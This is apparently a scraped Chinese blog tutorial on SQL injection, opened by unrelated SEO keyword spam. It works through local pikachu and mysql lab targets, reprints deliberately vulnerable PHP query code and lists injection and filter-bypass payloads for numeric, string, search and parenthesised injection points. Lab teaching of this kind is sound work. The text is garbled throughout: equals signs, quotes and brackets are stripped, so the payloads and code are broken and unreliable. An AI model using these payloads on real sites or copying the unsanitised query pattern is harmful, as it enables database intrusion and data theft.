手机百度怎么解除禁止访问网站,河南省工程建设监理协会网站,微信平台开发公司成都,济南网站托管SQL注入式攻击技术#xff0c;一般针对基于Web平台的应用程序.造成SQL注入攻击漏洞的原因#xff0c;是由于程序员在编写Web程序时#xff0c;没有对浏览器端提交的参数进行严格的过滤和判断。用户可以修改构造参数#xff0c;提交SQL查询语句#xff0c;并传递至服务器端… SQL注入式攻击技术一般针对基于Web平台的应用程序.造成SQL注入攻击漏洞的原因是由于程序员在编写Web程序时没有对浏览器端提交的参数进行严格的过滤和判断。用户可以修改构造参数提交SQL查询语句并传递至服务器端从而获取想要的敏感信息甚至执行危险的代码或系统命令。 虽然SQL注入攻击技术早已出现但是时至今日仍然有很大一部分网站存在SQL注入漏洞各大门户网站同样存在SQL注入漏洞。由于SQL漏润存在的普遍性因此SQL入侵攻击技术往往成为黑客入侵攻击网站渗透内部服务的首选技术其危害性非常大。 01SQL注入漏洞概念/原理
由于程序员在编写Web程序时没有对浏览器端提交的参数进行严格的过滤和判断 注入产生的原因是接受相关参数未经处理直接带入数据库查询操作;注入攻击属于服务端攻击他与操作系统、数据库类型、脚本语言类型无关 。 环境准备win2003 phpstudy2016 mysql靶场环境、pikachu靶场环境 打开 musql靶场环境
查看源代码sql.php
?
$id$_GET[id];//接受get方式传递参数名id的值并赋值给变量id{$connmysql_connect(127.0.0.1,root,root);
if($conn){echo ok!;
}//判断连接是否成功
mysql_select_db(sql,$conn);//选择连接请求为conn的数据库
$sqlselect * from user where id$id;
$resultmysql_query($sql);
while($row mysql_fetch_array($result)){ //数组遍历echo 用户ID: .$row[id].br ;echo 用户名: .$row[username].br ;echo 用户密码: .$row[password].br ;echo 用户邮箱: .$row[email].br ;}
mysql_close($conn);
echo hr;
echo 你当前执行的sql语句为:;
echo select * from user where id$id;
}
? 说明从GET请求中获取的参数id直接赋值给变量$id时没有进行任何过滤或验证产生SQL注入攻击漏洞。参数id给变量$id未经过滤直接带入数据库查询
就可以在参数中编写SQL语句信息最终需要将SQL语句发送到服务端数据库服务 02SQL注入步骤 - 探测到SQL注入的注入点 - 需要绕过SQL注入防范机制 - 发送SQL注入SQL语句命令 - 获取数据库数据/篡改数据库数据 03SQL注入漏洞检测方法 单引号 and or Xor %26%26 true false order by 单引号 mysql靶场
http://10.0.0.101:90/mysql/sql.php?id1
不加单引号能输出内容 加单引号不能输出内容 打开phpstudy菜单mysql数据库命令行 查看数据库直接执行命令输出的内容 说明主要判断是否与数据交互 and 和
and 11和and 12 mysql靶场
and 11输出数据库内容 and 12 未输出数据库内容 查看数据库直接执行命令输出的内容 and 11为真数据库输出内容and 12为假数据库没有输出内容
说明防护机制未对and进行过滤执行sql语句成功与数据库交互输出内容。 or(或
or 11 or 12 or表示或
or 11输出全部内容or表示或11为真全部输出 or 12只输出查询内容 查看数据库直接执行命令输出的内容 Xor异或)
Xor 11 Xor 12 Xor表示异或
单引号、and、or被防护机制过滤了可尝试Xor进行绕过
Xor 11输出di不是1的内容 Xor12输出di为1的内容 查看数据库直接执行命令输出的内容 Xor说明select * from test where A xor B
如果B为真则查出不满足A条件数据;
如果B为假则查出满足A条件数据 %26%26经url编码)
%26%26 11 %26%26 12
因在URL中通常用于分隔多个参数将通过URL编码绕过为%26%26) %26%26 11
%26%26 12 true false
true为真 false为假 and true and false or true or false Xor true Xor false %26%26 true %26%26 false 如果数字11被防护机制过滤可尝试此方式绕过true为真、false为假
and true and false 查看数据库直接执行命令输出的内容 mod(8,7)in(1) mod(8,7)in(2)求余函数
使用求余函数mod即mod(8,7)in(1)为真mod(8,7)in(2)为假 and mod(8,7)in(1) and mod(8,7)in(2) or mod(8,7)in(1) or mod(8,7)in(2) Xor mod(8,7)in(1) Xor mod(8,7)in(2) %26%26 mod(8,7)in(1) %26%26 mod(8,7)in(2) and mod(8,7)in(1)为真输出内容 and mod(8,7)in(2)为假 不输出内容 order by排序
order by 4 order by 5 探测有几列信息
order by 4为真user表有4个列输出内容 order by 5为假user表有5个列不输出内容 查看数据库直接执行命令输出的内容 说明
select * from user where id1 order by 5
这个SQL查询将从user表中选择所有id为1的记录并按照第5个列进行排序。这里的数字5通常是指列的索引从1开始计数。这意味着它会尝试按照表中第五个列的值进行排序。 如果user表中没有第五个列或者5超出了列的数量查询将会出错。 04哪些网页会有SQL注入漏洞 与数据库交互的相关页面 http://www.*****.com/***.asp?idxx (ASP注入) http://www.*****.com/***.php?idxx (php注入) http://www.*****.com/***.jsp?idxx (jsp注入)
有传参的地方 登录的地方 更新的地方 注册的地方 留言板 查询搜索 删除等。。 Http Header注入 把http header直接代入数据库 Cookie注入 数据参数写入到cookice参数里面 可能出现注入的地方http头、cookices、referee、user agentpost提交数据包的地方等等 05SQL注入分类
数字型
and 11 and 12
打开pikachu靶场环境选择数字型注入
http://10.0.0.101:90/pikachu/vul/sqli/sqli_id.php
点击查询--用bp抓包--发到bp重发器--插入sql注入语句测试
and 11 and 12 存在sql注入点 搜索型
%xx% or 11
user and 11 # user and 12 #
打开pikachu靶场环境
http://10.0.0.101:90/pikachu/vul/sqli/sqli_str.php
查看源代码
?php
/*** Created by runner.han* There is nothing new under the sun*/$SELF_PAGE substr($_SERVER[PHP_SELF],strrpos($_SERVER[PHP_SELF],/)1);if ($SELF_PAGE sqli_str.php){$ACTIVE array(,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,active open,,,active,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,);
}$PIKA_ROOT_DIR ../../;
include_once $PIKA_ROOT_DIR . header.php;include_once $PIKA_ROOT_DIR.inc/config.inc.php;
include_once $PIKA_ROOT_DIR.inc/function.php;
include_once $PIKA_ROOT_DIR.inc/mysql.inc.php;$linkconnect();
$html;if(isset($_GET[submit]) $_GET[name]!null){//这里没有做任何处理直接拼到select里面去了$name$_GET[name];//这里的变量是字符型需要考虑闭合$queryselect id,email from member where username$name;$resultexecute($link, $query);if(mysqli_num_rows($result)1){while($datamysqli_fetch_assoc($result)){$id$data[id];$email$data[email];$html.p classnoticeyour uid:{$id} br /your email is: {$email}/p;}}else{$html.p classnotice您输入的username不存在请重新输入/p;}
}? 其中 $queryselect id,email from member where username$name; 因$name变量是字符型有单引号要绕过需要先加单引号进行闭合原来的单引号进行注释 如user and 12 # $queryselect id,email from member where usernameuser and 12 #; 通过添加 来尝试关闭原本的字符串然后添加and 12 一个始终为假最后用#注释掉剩余的查询部分。 user and 11 # 为真输出内容 user and 12 # 为假不输出内容 搜索型
%user% or 11 %user% or 12 打开pikachu靶场环境
http://10.0.0.101:90/pikachu/vul/sqli/sqli_search.php
查看源代码
?php
/*** Created by runner.han* There is nothing new under the sun*/$SELF_PAGE substr($_SERVER[PHP_SELF],strrpos($_SERVER[PHP_SELF],/)1);if ($SELF_PAGE sqli_search.php){$ACTIVE array(,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,active open,,,,active,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,);
}$PIKA_ROOT_DIR ../../;
include_once $PIKA_ROOT_DIR . header.php;include_once $PIKA_ROOT_DIR.inc/config.inc.php;
include_once $PIKA_ROOT_DIR.inc/function.php;
include_once $PIKA_ROOT_DIR.inc/mysql.inc.php;$linkconnect();
$html1;
$html2;
if(isset($_GET[submit]) $_GET[name]!null){//这里没有做任何处理直接拼到select里面去了$name$_GET[name];//这里的变量是模糊匹配需要考虑闭合$queryselect username,id,email from member where username like %$name%;$resultexecute($link, $query);if(mysqli_num_rows($result)1){//彩蛋:这里还有个xss$html2.p classnotice用户名中含有{$_GET[name]}的结果如下br /;while($datamysqli_fetch_assoc($result)){$uname$data[username];$id$data[id];$email$data[email];$html1.p classnoticeusername{$uname}br /uid:{$id} br /email is: {$email}/p;}}else{$html1.p classnotice0o。..没有搜索到你输入的信息/p;}
}? 其中$queryselect username,id,email from member where username like %$name%; %$name%会匹配任何包含 $name 的字符串无论$name在用户名中的位置如何。 如果 $name user查询会找到所有用户名中包含 user 的记录如 user123、superuser 等。 如user% or 11 # $queryselect username,id,email from member where username like %user% or 11 #% user% or 11 # or或11为真 输出所有含user的内容 user% or 12 # or或12为假 输出只含user的内容 XX型特殊类型
username(xx) or 11
user) or 11 # user) or 12 #
打开pikachu靶场环境
http://10.0.0.101:90/pikachu/vul/sqli/sqli_x.php
查看源代码
?php
/*** Created by runner.han* There is nothing new under the sun*/$SELF_PAGE substr($_SERVER[PHP_SELF],strrpos($_SERVER[PHP_SELF],/)1);if ($SELF_PAGE sqli_search.php){$ACTIVE array(,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,active open,,,,,active,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,);
}$PIKA_ROOT_DIR ../../;
include_once $PIKA_ROOT_DIR . header.php;include_once $PIKA_ROOT_DIR.inc/config.inc.php;
include_once $PIKA_ROOT_DIR.inc/function.php;
include_once $PIKA_ROOT_DIR.inc/mysql.inc.php;$linkconnect();
$html;if(isset($_GET[submit]) $_GET[name]!null){//这里没有做任何处理直接拼到select里面去了$name$_GET[name];//这里的变量是字符型需要考虑闭合$queryselect id,email from member where username($name);$resultexecute($link, $query);if(mysqli_num_rows($result)1){while($datamysqli_fetch_assoc($result)){$id$data[id];$email$data[email];$html.p classnoticeyour uid:{$id} br /your email is: {$email}/p;}}else{$html.p classnotice您输入的username不存在请重新输入/p;}
}? 其中$queryselect id,email from member where username($name); ($name)加了单引号和括号进行绕过需要加单引号括号进行闭合。 如user) or 11 # $queryselect id,email from member where username(user) or 11 #) user) or 11 # or或11为真 输出所有含user的内容
user) or 12 # or或12为假 输出只含user的内容 声明
此文章只做技术研究谨遵守国家相关法律法规请勿用于违法用途如果您对文章内容有疑问可以尝试留言私信如有侵权请联系小编处理。